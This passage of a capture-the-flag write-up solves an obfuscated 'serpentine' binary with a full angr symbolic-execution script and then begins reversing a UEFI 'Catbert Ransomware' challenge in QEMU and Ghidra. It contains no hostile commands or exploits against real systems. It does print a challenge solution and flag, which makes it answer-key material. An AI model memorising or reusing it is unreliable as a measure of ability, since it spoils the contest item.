print(parse_unwind_info(0x97af0))

This gives us output for the first block located at 97af0:

image.png

Notice here that we have another ExceptionHandler. This happens when Flags is 0x1 which is UNW_FLAG_EHANDLER, meaning “The function has an exception handler that should be called […]” This handler’s address is relative to the base of the image. In the case of the static binary, this means our handler should be in 0x97af0+0x98. Let’s take a look

image.png

It immediately calls 37c817, so let’s follow it

image.png

Here, we see the behavior of a self-modifying code.

self-modifying code

Here’s a simple run-down of what we can see:

  • At 37c817, the stack value is POP'd into 37c84f, affectively overwriting the constant of the MOV at 37c84e. Notice that the value here is the return address (which is 97b8d in this case).
  • At 37c832, the register EAX's value is written into 37c839, which changes the operation at that location.

Manually restoring the calls by patching binary could work, but it requires a lot of work. Writing a script to parse it could also work. Here, I decided to use angr to symbolically execute the program and prints out the executed instructions directly.

import angr

proj = angr.Project('serpentine.exe')
state = proj.factory.blank_state(add_options={angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS})
region = state.heap.allocate(0x800000)
state.memory.store(region, state.memory.load(0x140097af0, 0x800000))

state = proj.factory.call_state(region + 0x98, base_state=state)
simgr = proj.factory.simulation_manager(state)

while True:
  assert len(simgr.active) == 1
  state = simgr.active[0]

  insn_bytes = state.solver.eval(state.memory.load(state.addr, 16), cast_to=bytes)
  ins = state.block(insn_bytes=insn_bytes, num_inst=1).disassembly.insns[0]
  print(ins)

  simgr.step(num_inst=1)

The output we get is

0xc0000098:     call    0xc02e4d27
0xc02e4d27:     pop     qword ptr [rip + 0x33]
0xc02e4d2d:     push    rax
0xc02e4d2e:     mov     rax, 0
0xc02e4d35:     mov     ah, byte ptr [rip - 0x15]
0xc02e4d3b:     lea     eax, [eax + 0x7f497049]
0xc02e4d42:     mov     dword ptr [rip + 1], eax
0xc02e4d48:     pop     rax
0xc02e4d49:     movabs  r11, 0x10add7f49
0xc02e4d53:     mov     dword ptr [rip - 0x14], 0x676742dd
0xc02e4d5d:     push    rax
0xc02e4d5e:     movabs  rax, 0xc000009d
0xc02e4d68:     lea     rax, [rax + 5]
0xc02e4d6c:     xchg    qword ptr [rsp], rax
0xc02e4d70:     ret
0xc00000a2:     push    r11
0xc00000a4:     push    0x73775436
0xc00000a9:     push    0x68a04c43
0xc00000ae:     push    0x12917ff9
0xc00000b3:     call    0xc02e4d96
0xc02e4d96:     pop     qword ptr [rip + 0x32]
0xc02e4d9c:     push    rax
0xc02e4d9d:     mov     rax, 0
0xc02e4da4:     mov     ah, byte ptr [rip - 0x4a]
0xc02e4daa:     lea     eax, [eax + 0x2443e448]
0xc02e4db1:     mov     dword ptr [rip + 1], eax
0xc02e4db7:     pop     rax
0xc02e4db8:     add     qword ptr [rsp + 0x18], 0x35ac399f
0xc02e4dc1:     mov     dword ptr [rip - 0x13], 0x62cf7984
0xc02e4dcb:     push    rax
0xc02e4dcc:     movabs  rax, 0xc00000b8
0xc02e4dd6:     lea     rax, [rax + 4]
0xc02e4dda:     xchg    qword ptr [rsp], rax
0xc02e4dde:     ret
0xc00000bc:     call    0xc02e4dff
0xc02e4dff:     pop     qword ptr [rip + 0x2e]
0xc02e4e05:     push    rax
0xc02e4e06:     mov     rax, 0
0xc02e4e0d:     mov     ah, byte ptr [rip - 0x45]
0xc02e4e13:     lea     eax, [eax - 0x2e4dd617]
0xc02e4e1a:     mov     dword ptr [rip + 1], eax
0xc02e4e20:     pop     rax
0xc02e4e21:     jmp     0xc0000107
0xc0000107:     hlt

Very nice. Notice that we also get the next HLT as well. Actually, combining the script above, we can automate this process by parsing the REWIND_INFO every time we hit a HLT.

import angr
import pefile

proj = angr.Project('serpentine.exe')
state = proj.factory.blank_state(add_options={angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS})
region = state.heap.allocate(0x800000)
state.memory.store(region, state.memory.load(0x140097af0, 0x800000))

state = proj.factory.call_state(region, base_state=state)
simgr = proj.factory.simulation_manager(state)

def load_bytes(state, addr, size):
  bv = state.memory.load(addr, size)
  assert bv.concrete
  return state.solver.eval(bv, cast_to=bytes)

def parse_unwind_info(state):
  assert state.mem[state.addr].uint8_t.concrete == 0xf4  # HLT
  offset = state.addr + 2 + state.mem[state.addr + 1].uint8_t.concrete
  offset += (offset & 1) != 0
  ui = pefile.UnwindInfo()
  assert ui.unpack_in_stages(load_bytes(state, offset, ui.sizeof())) is None
  assert ui.unpack_in_stages(load_bytes(state, offset, ui.sizeof())) is None
  return ui

while True:
  assert len(simgr.active) == 1
  state = simgr.active[0]

  ins = state.block(
    insn_bytes=load_bytes(state, state.addr, 16),
    num_inst=1,
  ).disassembly.insns[0]
  print(ins)

  if ins.mnemonic == 'hlt':
    ui = parse_unwind_info(state)
    state.regs.rip = region + ui.ExceptionHandler
    continue

  simgr.step(num_inst=1)

We see that it can automatically jump to the correct handler address:

0xc0000000:     hlt
0xc0000098:     call    0xc02e4d27
[...]
0xc02e4e21:     jmp     0xc0000107
0xc0000107:     hlt
0xc00001a7:     mov     rbp, qword ptr [r9 + 0x28]
0xc00001ab:     call    0xc02e4e6a
0xc02e4e6a:     pop     qword ptr [rip + 0x30]
0xc02e4e70:     push    rax
0xc02e4e71:     mov     rax, 0
0xc02e4e78:     mov     ah, byte ptr [rip - 0x4b]
0xc02e4e7e:     lea     eax, [eax - 0x1f4335b8]
0xc02e4e85:     mov     dword ptr [rip + 1], eax
0xc02e4e8b:     pop     rax
0xc02e4e8c:     mov     rdi, qword ptr [rbp + 0xe0]

However, angr prints a warning message twice at 0xc00001a7 and 0xc02e4e8c, telling us the address we are trying to access is undefined. Looking at the disassembly, we are trying to retrieve a qword from r9 + 0x28, store it into rbp, and then retrieve a qword from rbp + 0xe0. Since we used ZERO_FILL_UNCONSTRAINED_REGISTERS option for the state, r9 would just be 0x0, and rbp would be pointing to some weird place.

exception routine

Notice that, the new language-specific exception handler called by the unwinding handler has a protocol as well:

typedef EXCEPTION_DISPOSITION (*PEXCEPTION_ROUTINE) (
    IN PEXCEPTION_RECORD ExceptionRecord,
    IN ULONG64 EstablisherFrame,
    IN OUT PCONTEXT ContextRecord,
    IN OUT PDISPATCHER_CONTEXT DispatcherContext
);

The r9 would then refer to the fourth argument, per calling convention, which is a pointer to a DISPATCHER_CONTEXT:

typedef struct _DISPATCHER_CONTEXT {
    ULONG64 ControlPc;
    ULONG64 ImageBase;
    PRUNTIME_FUNCTION FunctionEntry;
    ULONG64 EstablisherFrame;
    ULONG64 TargetIp;
    PCONTEXT ContextRecord;
    PEXCEPTION_ROUTINE LanguageHandler;
    PVOID HandlerData;
} DISPATCHER_CONTEXT, *PDISPATCHER_CONTEXT;

If we see the code, the offset 0x28 would be referring to the 6th field, which is the ContextRecord. For the PCONTEXT structure, the offset 0xe0 would then be referring to the register R13.

We can add more code to angr script to simulate this behavior:

DISPATCHER_CTX_ADDR = state.heap.allocate(0x28+8)
CONTEXT_REC_ADDR = state.heap.allocate(0x100)
state.mem[DISPATCHER_CTX_ADDR + 0x28].uint64_t = CONTEXT_REC_ADDR

def inject_context(state):
    for reg, i in pefile.registers:
    state.mem[CONTEXT_REC_ADDR + 0x78 + i * 8].uint64_t = getattr(state.regs, reg)
    state.regs.r9 = DISPATCHER_CTX_ADDR

And then call inject_context in our custom HLT handler. Run it again, and now we don’t see the previous two warning messages at 0xc00001a7 anymore. But, we got errored out in a new place:

0xc00007de:     mov     rdx, qword ptr [r9 + 0x28]
0xc00007e2:     ldmxcsr dword ptr [rdx + 0x34]

What is at ContextPointer+0x34? Turns out it’s a special register MxCsr that has 32-bit. Here caused me a bit headache because I couldn’t find a way to access angr state’s MxCsr register at all (and I think it was not stored at all). In which case, I cooked up a custom hook to intercept all ldmxcsr calls:

mxcsr = [0] # use slice for easier global access

def ldmxcsr_hook(state):
  ins = state.block(
    insn_bytes=load_bytes(state, state.inspect.instruction, 16),
    num_inst=1,
  ).disassembly.insns[0]
  if ins.mnemonic == 'ldmxcsr':
    mxcsr[0] = state.inspect.mem_read_expr

state.inspect.b('mem_read', when=angr.BP_AFTER, action=ldmxcsr_hook)

def inject_context(state):
  state.mem[CONTEXT_REC_ADDR + 0x34].uint32_t = mxcsr[0]
  [...]

However, to use mem_read breakpoint, we cannot use state.mem to load at the same time, and we have to be careful when using state.memory.load. So we have to change some of the previous code:

def load_bytes(state, addr, size):
  bv = state.memory.load(addr, size, disable_actions=True, inspect=False)
  [...]

def parse_unwind_info(state):
  assert load_bytes(state, state.addr, 1)[0] == 0xf4  # HLT
  offset = state.addr + 2 + load_bytes(state, state.addr + 1, 1)[0]
  [...]

Seems we are all good? To carefully think about it, the register R13 that was stored in the ContextRecord and retrieved in the second HLT block, was never assigned in the first place!

Turns out we are missing a big piece of the puzzle.

unwind code

If we print out the UnwindInfo that we parsed for each HLT block:

[UNWIND_INFO]
0x0        0x0   Version:                       0x1       
0x0        0x0   Flags:                         0x1       
0x1        0x1   SizeOfProlog:                  0x0       
0x2        0x2   CountOfCodes:                  0x0       
0x3        0x3   FrameRegister:                 0x0       
0x3        0x3   FrameOffset:                   0x0       
0x4        0x4   ExceptionHandler:              0x98      
Flags: UNW_FLAG_EHANDLER
Unwind codes: 

[UNWIND_INFO]
0x0        0x0   Version:                       0x1       
0x0        0x0   Flags:                         0x1       
0x1        0x1   SizeOfProlog:                  0x0       
0x2        0x2   CountOfCodes:                  0x5       
0x3        0x3   FrameRegister:                 0x0       
0x3        0x3   FrameOffset:                   0x0
0x10       0x10  ExceptionHandler:              0x1A7
Flags: UNW_FLAG_EHANDLER
Unwind codes: .PUSHFRAME; .ALLOCSTACK 0x4; .PUSHREG R13

We see that for the second time, the “Unwind codes” actually isn’t empty. Let’s see what’s actually going on.

According to the documentation, the unwind code records the operations done for each function during the function prologue. The documentation for each operation is written pretty clearly in the above “x64 exception handling” article, so I’m not going to repeat it here.

During the unwinding, the unwinding handler would look at these “unwind code”s and undo the changes they have done. For example PUSHREG R13 meaning R13 is pushed into the stack. That means when rewinding, the R13 register must be POP'd from the stack.

The unwind code is undone in order and if the code running already passed the unwind code’s “prologue offset.” However, for this specific case, the offset is always 0, meaning we should undo all the unwind codes in the array.

Finally, we see that R13 register is actually assigned during the unwinding process. Then it is stored into the DispatcherContext->ContextRecord for the next HLT block to retrieve.

To automate this process, we also implement a helper function to help us undo the unwind code:

import archinfo

def load_int(state, addr, size):
  return state.memory.load(addr, size, disable_actions=True, inspect=False, endness=archinfo.Endness.LE)

def undo_unwind_code(state, unwind_code):
  for code in unwind_code:
    if isinstance(code, pefile.PrologEpilogOpPushFrame):
      if code.struct.OpInfo:
        state.regs.rsp = load_int(state, state.regs.rsp + 0x20, 8)
      else:
        state.regs.rsp = load_int(state, state.regs.rsp + 0x18, 8)
    elif isinstance(code, (pefile.PrologEpilogOpAllocSmall, pefile.PrologEpilogOpAllocLarge)):
      state.regs.rsp += code.get_alloc_size()
    elif isinstance(code, pefile.PrologEpilogOpPushReg):
      setattr(state.regs, pefile.REGISTERS[code.struct.Reg].lower(), load_int(state, state.regs.rsp, 8))
      state.regs.rsp -= 8
    elif isinstance(code, pefile.PrologEpilogOpSetFP):
      assert code._frame_offset == 0
      state.regs.rsp = getattr(state.regs, pefile.REGISTERS[code._frame_register].lower())
    else:
      raise NotImplementedError(f'unknown code type {type(code)}')

[...]

  if ins.mnemonic == 'hlt':
    ui = parse_unwind_info(state)
    rsp = state.regs.rsp
    undo_unwind_code(state, ui.UnwindCodes)
    inject_context(state)
    state.regs.rsp = rsp
    state.regs.rip = region + ui.ExceptionHandler
    continue

Note that I only implemented the ones used in this binary, not the whole set. Also, since this process may change the RSP, we need to back it up as well.

Finally let’s add the symbolic flags to the memory:

import claripy

flags = [claripy.BVS(f'flag{i}', 8) for i in range(32)]
for i in range(len(flags)):
    state.mem[0x14089B8E8+i].uint8_t = flags[i]

Run it. Seems everything is fine, but it became slower and slower, especially getting stuck at instructions like this

0xc00047d8:     mov     al, byte ptr [r8]

Let’s find out the first occurrence of this type of instruction by filtering it:

import capstone

[...]
  if ins.mnemonic == 'mov':
    operands = ins.operands
    if len(operands) == 2 and \
      operands[0].type == capstone.CS_OP_REG and \
      operands[0].size == 1 and \
      operands[1].type == capstone.CS_OP_MEM and \
      operands[1].size == 1 and \
      operands[1].mem.base != capstone.x86.X86_REG_RIP and \
      operands[1].mem.disp == 0:
      print(ins)

We met with this instruction

0xc00006bc:     mov     sil, byte ptr [r14]

Now, if we print out the value at R14:

<BV64 0x1400621c0 + (0x0 .. 140 * flag4_5_8)>

Basically, flag[4] was multiplied by 140, and used as an index to access the memory region at 0x1400621c0. Furthermore, we can confirm that the index is limited to one byte. This is a classical case of a substitution box, as we see in many cryptography algorithms.

The symbolic execution engine is famously known to be bad with symbolic indexing. Not only this, solving it would be extremely slow as well, since the process is non-linear, and it could easily become slower than even brute-forcing.

substitution box?

But let’s take a look at this table at 0x1400621c0:

image.png

This table is full of 0s and 1s only! Furthermore, there’s only a single cutoff where it switched from 0 to 1.

So instead of a non-linear substitution box as we originally thought, this box can be turned into a linear constraints. In this specific case, the constraint is

claripy.If(flag[4] * 140 < 115, claripy.BVV(0, 8), claripy.BVV(1, 8))

Furthermore, we can automatically parse tables like this:

def find_cond(state, tbl, val):
  assert val.length == 8

  data = load_bytes(state, tbl, 256)
  if len(set(data)) > 2 or data[0] != 0:
    raise NotImplementedError(f'unknown table at {tbl}')

  i = 0
  while i < 256 and data[i] == 0:
    i += 1
  assert all(c == 1 for c in data[i:]) # remain all 1s
  return claripy.If(val < i, claripy.BVV(0, 8), claripy.BVV(1, 8))

In order to separate the table address from the symbolic index, let’s take a look at the symbolic expression evaluated at this point:

<BV64 0x1400621c0 + (0x0 .. 140 * flag4_5_8)>

We observe that first term is always the address, and the other term being the index, so we can write

arch = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)

[...]
      reg = arch.reg_name(operands[1].mem.base)
      value = getattr(state.regs, reg)
      if not value.concrete:
        tbl = next(value.children_asts())
        index = value - tbl
        state.add_constraints(index >= 0, index < 0x100)
        cond = find_cond(state, tbl, claripy.Extract(7, 0, index))
        setattr(state.regs, arch.reg_name(operands[0].reg), cond)
        state.regs.rip += ins.size
        continue

It deals with the above case just fine. And if we add a print(cond), we see

<BV8 if 115 <= 140 * flag4_5_8 then 1 else 0>

which is exactly what we want. That being said, we immediately see a new pattern at 0x1400620c0. Looking at the data, we see

image.png

So it seems to be a linear shift. For this case, it corresponds to

(index + 0x8d) & 0xff

Or simply, the first element in the table indicates the shift amount. Let’s add it to our condition list:

def find_cond(state, tbl, val):
  assert val.length == 8

  data = load_bytes(state, tbl, 256)

  if len(set(data)) <= 2:
    assert data[0] == 0, f'unknown table at {tbl}'
    i = 0
    while i < 256 and data[i] == 0:
      i += 1
    assert all(c == 1 for c in data[i:]) # remain all 1s
    return claripy.If(val < i, claripy.BVV(0, 8), claripy.BVV(1, 8))

  for i in range(256):
    assert (i + data[0]) & 0xff == data[i], f'unknown table at {tbl}'
  return val + data[0]

And we see the output being

<BV8 141 + 140 * flag4_5_8>

Which is good. Another new pattern is at 0x140085ac0

image.png

So it’s basically the same as the first pattern, except for the value is switched. The fix is easy (copy-and-paste):

  if len(set(data)) <= 2:
    i = 0
    if data[0] == 0:
      while i < 256 and data[i] == 0:
        i += 1
      assert all(c == 1 for c in data[i:]) # remain all 1s
      return claripy.If(val < i, claripy.BVV(0, 8), claripy.BVV(1, 8))
    elif data[0] == 1:
      while i < 256 and data[i] == 1:
        i += 1
      assert all(c == 0 for c in data[i:]) # remain all 0s
      return claripy.If(val < i, claripy.BVV(1, 8), claripy.BVV(0, 8))
    assert False

The next different patterns is at 3e0c0

image.png

Huh… It’s not linear anymore? We see the numbers first go down one by one, and then jump up by 7, and then go down one by one, and then jump down by 9… However, if we view the array as uint64:

image.png

We see that if we take the first element as the XOR key, then the array becomes:

0000000000000000h, 0808080808080808h, 1010101010101010h, 1818181818181818h
2020202020202020h, 2828282828282828h, 3030303030303030h, 3838383838383838h
[...]

So we see that each position is equal to XOR’ing the key and then XOR the block that it is in, times 8. The equivalent linear expression for this specific case would be

((0x3C3D3E3F38393A3B >> ((val & 0b111) << 3)) & 0xff) ^ ((val >> 3) << 3)

Although this is not perfectly linear, it is just a search on 16 bytes, which is much better than the search on 256 bytes.

Let’s modify our script once again to fit this pattern

  if (data[1] - data[0]) & 0xff == 1:
    for i in range(256):
      if (i + data[0]) & 0xff != data[i]:
        break
    else:
      return val + data[0]

  xor_key = claripy.BVV(int.from_bytes(data[:8], 'little'), 64)
  for i in range(256):
    xor_byte = claripy.Extract(7, 0, claripy.LShR(xor_key, (i & 0b111) << 3)).concrete_value
    off_byte = (i >> 3) << 3
    assert xor_byte ^ off_byte == data[i], f'unknown table at {tbl}'
  xor_byte = claripy.Extract(7, 0, claripy.LShR(xor_key, claripy.ZeroExt(64 - 8, val & 0b111) << 3))
  off_byte = claripy.LShR(val, 3) << 3
  return xor_byte ^ off_byte

After this, it seems we have exhausted all the patterns, and the script runs without problem.

final stretch

If we run the script, we see these instructions being printed at the end:

0xc0017a07:     cmovne  r12, r15
0xc0017a0b:     jmp     r12
0x1400011f0:    mov     qword ptr [rsp + 0x20], r9
0x1400011f5:    mov     qword ptr [rsp + 0x18], r8

We are out of the region and back into the normal functions! Let’s see what 0x1400011f0 does

image.png

Oh no, it’s wrong…

Let’s stop at 0xc0017a07 and print out both R12 and R15 to see what is happening.

>>> print(state.regs.r12)
<BV64 0xc0017a0e>
>>> print(state.regs.r15)
<BV64 0x1400011f0>

For cmovne instruction, it will do the move only if the ZF flag is 0. Here, we don’t want the move to happen because R15 contains the address to the fail function.

If we look at instructions executed, there is a TEST instruction right before it that would change the ZF flag

0xc00179fd:     test    r14, r14

Since TEST is the same as AND, and since the operand is the same, ZF would only be set to 0 if R14 is not zero. Since we don’t want the move to happen, we need ZF to be 1, meaning we want R14 to be 0.

If we try to print the content of R14, the program would freeze. This tells us that R14 must contains a large symbolic expression.

I’m not quire sure why angr didn’t branch into two active states at the JMP, since the result of the TEST should also be symbolic. In any case, let’s try to give it a hint:

  if ins.mnemonic == 'test':
    operands = ins.operands
    assert len(operands) == 2 and \
      operands[0].type == capstone.CS_OP_REG and \
      operands[1].type == capstone.CS_OP_REG and \
      operands[0].reg == operands[1].reg
    reg = arch.reg_name(operands[0].reg)
    value = getattr(state.regs, reg)
    state.add_constraints(value == 0)

But after we add this code, angr straight up gives us UNSAT. It’s time to debug the code.

The best way to check if our implementation is correct, is by comparing it with the standard program. We can do this by using a fixed input but with one unknown.

At the beginning of the script, we can use a fixed input with the 4th place being symbolic, since we know it is used in the process:

flags = list(b'ABCDEFGHIJKLMNOPQRSTUVWXYZ123456')
flags[4] = claripy.BVS('flag4', 8)

Using x64dbg, let’s set the same input:

image.png

We can first set a breakpoint at 1649 to obtain the allocated region address. Then we can add 179fd to find the breakpoint for TEST. Note that it’s also the best to ignore the C0000096 exception so you can directly run to the breakpoint:

image.png

The standard program gives us this value at TEST for the fixed input:

image.png

Now in the script, when we run to the same instruction, we add a constraint that equals to this :

state.add_constraints(flags[4] == ord('E'))

And we solve for the R14 value:

>>> hex(state.solver.eval(value))
'0xff02000a91e7aa'

Huh, where did the 0xff020 came from? I spent a lot of time debugging, and couldn’t figure it out if it’s my code error or if it’s angr’s bug.

In the end, I just decided to add a 0xFFFFFFFF to the value.

    state.add_constraints(value & 0xFFFFFFFF == 0)

Now run the script, finally the angr gives us a branch into two states:

image.png

To continue the execution, we can either get rid of the failure state (going to 11f0), or just do what I did:

  if ins.mnemonic == 'cmovne':
    state.regs.rip += ins.size

Which means we simply don’t execute the conditional move. This allows us to always go to the next stage.

One more optimization before executing the script is to not add constraints to the state directly, because it would slow down the execution. Instead, we can just add it to a list and solve it at the end:

conditions = []

while True:
  [...]
    conditions.append(value & 0xFFFFFFFF == 0)

state.add_constraints(*conditions)

We also need to have an termination condition. Looking into the strings, it seems that 11b0 is the function to call when correct

image.png

So we can just set the condition:

while state.addr != 0x1400011b0:

Finally everything’s ready. The final script looks like this:

import angr
import pefile
import claripy
import archinfo
import capstone

arch = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
proj = angr.Project('serpentine.exe')
state = proj.factory.blank_state(add_options={angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS})
region = state.heap.allocate(0x800000)
state.memory.store(region, state.memory.load(0x140097af0, 0x800000))

state = proj.factory.call_state(region, base_state=state)
simgr = proj.factory.simulation_manager(state)

flags = [claripy.BVS(f'flag{i}', 8) for i in range(32)]
for i in range(len(flags)):
    state.mem[0x14089B8E8+i].uint8_t = flags[i]

def load_bytes(state, addr, size):
  bv = state.memory.load(addr, size, disable_actions=True, inspect=False)
  assert bv.concrete
  return state.solver.eval(bv, cast_to=bytes)

def parse_unwind_info(state):
  assert load_bytes(state, state.addr, 1)[0] == 0xf4  # HLT
  offset = state.addr + 2 + load_bytes(state, state.addr + 1, 1)[0]
  offset += (offset & 1) != 0
  ui = pefile.UnwindInfo()
  assert ui.unpack_in_stages(load_bytes(state, offset, ui.sizeof())) is None
  assert ui.unpack_in_stages(load_bytes(state, offset, ui.sizeof())) is None
  return ui

def load_int(state, addr, size):
  return state.memory.load(addr, size, disable_actions=True, inspect=False, endness=archinfo.Endness.LE)

def undo_unwind_code(state, unwind_code):
  for code in unwind_code:
    if isinstance(code, pefile.PrologEpilogOpPushFrame):
      if code.struct.OpInfo:
        state.regs.rsp = load_int(state, state.regs.rsp + 0x20, 8)
      else:
        state.regs.rsp = load_int(state, state.regs.rsp + 0x18, 8)
    elif isinstance(code, (pefile.PrologEpilogOpAllocSmall, pefile.PrologEpilogOpAllocLarge)):
      state.regs.rsp += code.get_alloc_size()
    elif isinstance(code, pefile.PrologEpilogOpPushReg):
      setattr(state.regs, pefile.REGISTERS[code.struct.Reg].lower(), load_int(state, state.regs.rsp, 8))
      state.regs.rsp -= 8
    elif isinstance(code, pefile.PrologEpilogOpSetFP):
      assert code._frame_offset == 0
      state.regs.rsp = getattr(state.regs, pefile.REGISTERS[code._frame_register].lower())
    else:
      raise NotImplementedError(f'unknown code type {type(code)}')

DISPATCHER_CTX_ADDR = state.heap.allocate(0x28+8)
CONTEXT_REC_ADDR = state.heap.allocate(0x100)
state.mem[DISPATCHER_CTX_ADDR + 0x28].uint64_t = CONTEXT_REC_ADDR

def inject_context(state):
  state.mem[CONTEXT_REC_ADDR + 0x34].uint32_t = mxcsr[0]
  for reg, i in pefile.registers:
    state.mem[CONTEXT_REC_ADDR + 0x78 + i * 8].uint64_t = getattr(state.regs, reg.lower())
  state.regs.r9 = DISPATCHER_CTX_ADDR

mxcsr = [0]

def ldmxcsr_hook(state):
  ins = state.block(
    insn_bytes=load_bytes(state, state.inspect.instruction, 16),
    num_inst=1,
  ).disassembly.insns[0]
  if ins.mnemonic == 'ldmxcsr':
    mxcsr[0] = state.inspect.mem_read_expr

def find_cond(state, tbl, val):
  assert val.length == 8

  data = load_bytes(state, tbl, 256)

  if len(set(data)) <= 2:
    i = 0
    if data[0] == 0:
      while i < 256 and data[i] == 0:
        i += 1
      assert all(c == 1 for c in data[i:]) # remain all 1s
      return claripy.If(val < i, claripy.BVV(0, 8), claripy.BVV(1, 8))
    elif data[0] == 1:
      while i < 256 and data[i] == 1:
        i += 1
      assert all(c == 0 for c in data[i:]) # remain all 0s
      return claripy.If(val < i, claripy.BVV(1, 8), claripy.BVV(0, 8))
    assert False

  if (data[1] - data[0]) & 0xff == 1:
    for i in range(256):
      if (i + data[0]) & 0xff != data[i]:
        break
    else:
      return val + data[0]

  xor_key = claripy.BVV(int.from_bytes(data[:8], 'little'), 64)
  for i in range(256):
    xor_byte = claripy.Extract(7, 0, claripy.LShR(xor_key, (i & 0b111) << 3)).concrete_value
    off_byte = (i >> 3) << 3
    assert xor_byte ^ off_byte == data[i], f'unknown table at {tbl}'
  xor_byte = claripy.Extract(7, 0, claripy.LShR(xor_key, claripy.ZeroExt(64 - 8, val & 0b111) << 3))
  off_byte = claripy.LShR(val, 3) << 3
  return xor_byte ^ off_byte

state.inspect.b('mem_read', when=angr.BP_AFTER, action=ldmxcsr_hook)

conditions = []

while state.addr != 0x1400011b0:
  assert len(simgr.active) == 1
  state = simgr.active[0]

  ins = state.block(
    insn_bytes=load_bytes(state, state.addr, 16),
    num_inst=1,
  ).disassembly.insns[0]

  if ins.mnemonic == 'test':
    operands = ins.operands
    assert len(operands) == 2 and \
      operands[0].type == capstone.CS_OP_REG and \
      operands[1].type == capstone.CS_OP_REG and \
      operands[0].reg == operands[1].reg
    reg = arch.reg_name(operands[0].reg)
    value = getattr(state.regs, reg)
    conditions.append(value & 0xFFFFFFFF == 0)

  if ins.mnemonic == 'cmovne':
    state.regs.rip += ins.size

  if ins.mnemonic == 'hlt':
    ui = parse_unwind_info(state)
    rsp = state.regs.rsp
    undo_unwind_code(state, ui.UnwindCodes)
    inject_context(state)
    state.regs.rsp = rsp
    state.regs.rip = region + ui.ExceptionHandler
    continue

  if ins.mnemonic == 'mov':
    operands = ins.operands
    if len(operands) == 2 and \
      operands[0].type == capstone.CS_OP_REG and \
      operands[0].size == 1 and \
      operands[1].type == capstone.CS_OP_MEM and \
      operands[1].size == 1 and \
      operands[1].mem.base != capstone.x86.X86_REG_RIP and \
      operands[1].mem.disp == 0:
      reg = arch.reg_name(operands[1].mem.base)
      value = getattr(state.regs, reg)
      if not value.concrete:
        tbl = next(value.children_asts())
        index = value - tbl
        state.add_constraints(index >= 0, index < 0x100)
        cond = find_cond(state, tbl, claripy.Extract(7, 0, index))
        setattr(state.regs, arch.reg_name(operands[0].reg), cond)
        state.regs.rip += ins.size
        continue

  simgr.step(num_inst=1)

state.add_constraints(*conditions)
print(state.solver.eval(claripy.Concat(*flags), cast_to=bytes))

After waiting for about two hours (so long…), we get the flag:

$$_4lway5_k3ep_mov1ng_and_m0ving

10 - Catbert Ransomware

We are given a disk image and a bios. Using QEMU we can boot it up:

qemu-system-x86_64 -drive file=disk.img,format=raw -bios bios.bin

image.png

Using help, we can get some commands available

image.png

Also we can list files in the disk:

image.png

Notice that the decrypt_file command explains that it would decrypt c4tb files from a mounted storage, given a decryption key. If we list the help specific for this command

image.png

We see that it takes the c4tb file path as the first argument, and the key as the second. If we just use some random key:

image.png

We get this. Clearly, we need to reverse this command.

However, we couldn’t find any of the strings in bios.bin. That means there must be some decryption going on. A quick way to avoid reversing that is to directly dump the memory.

To do that, let’s run QEMU in monitor mode:

qemu-system-x86_64 -drive file=disk.img,format=raw -bios bios.bin -m 64m -monitor stdio

Notice that I also set the memory to 64M, so that the memory dumped is small enough to be analyzed.

After the VM started, execute this command to dump the entire memory into dump.bin

(qemu) dump-guest-memory dump.bin

Then, let’s binwalk on the dumped file:

image.png

We see a lot of PE executables. Since we are looking for the decrypt_file, let’s search for the strings “Successfully read” inside it:

image.png

Notice that when you do the search, make sure to use UTF-16 encoding, since this is a PE executable.

Correspond to the above binwalk result, I located 3 PE executables that may be related. One located at 0xE6CCE4, one at 0x1C8E5B0 and the other at 0x1F745E4. Note that your offset may vary.

reverse

After dumping them and opening up them in Ghidra, it turns out they are similar binaries. The only difference is that the one at 0x1C8E5B0 has some of the memory values already filled in (potentially the one that’s loaded into memory). So let’s start reversing this one.

First, let’s find where the string is located at. Using Ghidra’s String Search function

image.png

The first one is what we want. And looking for the cross-reference to this string

image.png

leads us to function 1ccfbc4.

image.png

it’s always more interesting to look at the string constants. For example, for this block

image.png

We can guess that 1cb5cc0 is probably some kind of FileExists call, and 1d86558 is probably a string to the file name. Clicking into 1cb5cc0 we see

image.png

Which doesn’t look like anything at first. But if you see the data at 1d0a160

image.png

It’s actually a debug string. Ghidra didn’t do a good job of recovering the types, but if we click into 1cb0fd4

image.png

We see another string ASSERT %a(%Lu): %a\n. Searching this string online gives interesting results:

image.png

Nice, so we know the source code of this function now. And if we manually fill the signature into Ghidra, we get some nice debug information that helps us find the source code.

image.png

It seems that this library https://github.com/tianocore/edk2 is used. Furthermore, if we go to the same file and locate the line, we found

image.png

Which is exactly the same as the function we are looking at. Using the same methods, we can recover some other functions. Then by guessing, we should be able to reliably recover most of them

image.png

For function 1cb1050, I noticed it always passes either size related stuff into it, or a constant, so I assume it is some kind of allocation function.

There are quite a lot of dynamic calls still. But during my reversing process they don’t seem to matter that much, so I didn’t look into them. Plus, dynamically debugging this would probably be very painful.

For the next part, the code first allocates a space of size 0x20. This space is then used to store various fields, so it’s clear it’s a struct. Using Ghidra’s “Auto Create Structure,” we can get the fields listed out.

image.png

The logic reads like this:

  • The beginning uint32 of the file should be a magic number 0x32543443. If not, the if branch is entered and program is exited.
  • Otherwise, the next three uint32 is copied from the binary and stored into the struct.
  • A buffer of size field1 is allocated, and the data is copied from the file to the buffer of that size, following the header (4 uint32)
  • A buffer of size field3 is allocated, and the data is copied from the file with field2 as the offset, and field3 as the size.
  • The allocated buffers are also stored into the structure, following the sizes.

With this information, we can guess the struct is something like this:

struct ParsedC4tb {
  uint32_t magic;
  uint32_t data1_size;
  uint32_t data2_offset;
  uint32_t data2_size;
  uint8_t  *data2;
  uint8_t  *data1;
};

Let’s continue reading

image.png

We see that a StrLen is called on 1d86560, and if the length is not 0x10, function 1ccfb14 would be called

image.png

Which is what we saw. So it’s fairly clear that 1d86560 is the input key.

The data2 is copied into a newly allocated buffer, and then the input key is copied into some slots of the buffer.

I have a bad feeling that a VM is coming.

virtual machine

Looking at the function 1ccf274, which is called right after the copying of the input key, we see this:

image.png

At the beginning, the location 1d866c0 stores the same Data2Copy that we just saw. Then we enter a loop, where 1d866c0 is indexed and increased by 1.

Yep, this is a VM implementation with custom opcodes. 1d866c0 is probably the PC, and the other global values are probably stack pointers.

Notice that immediately after calling this function, there’s a if statement checking the value inside 1e06ed0

image.png

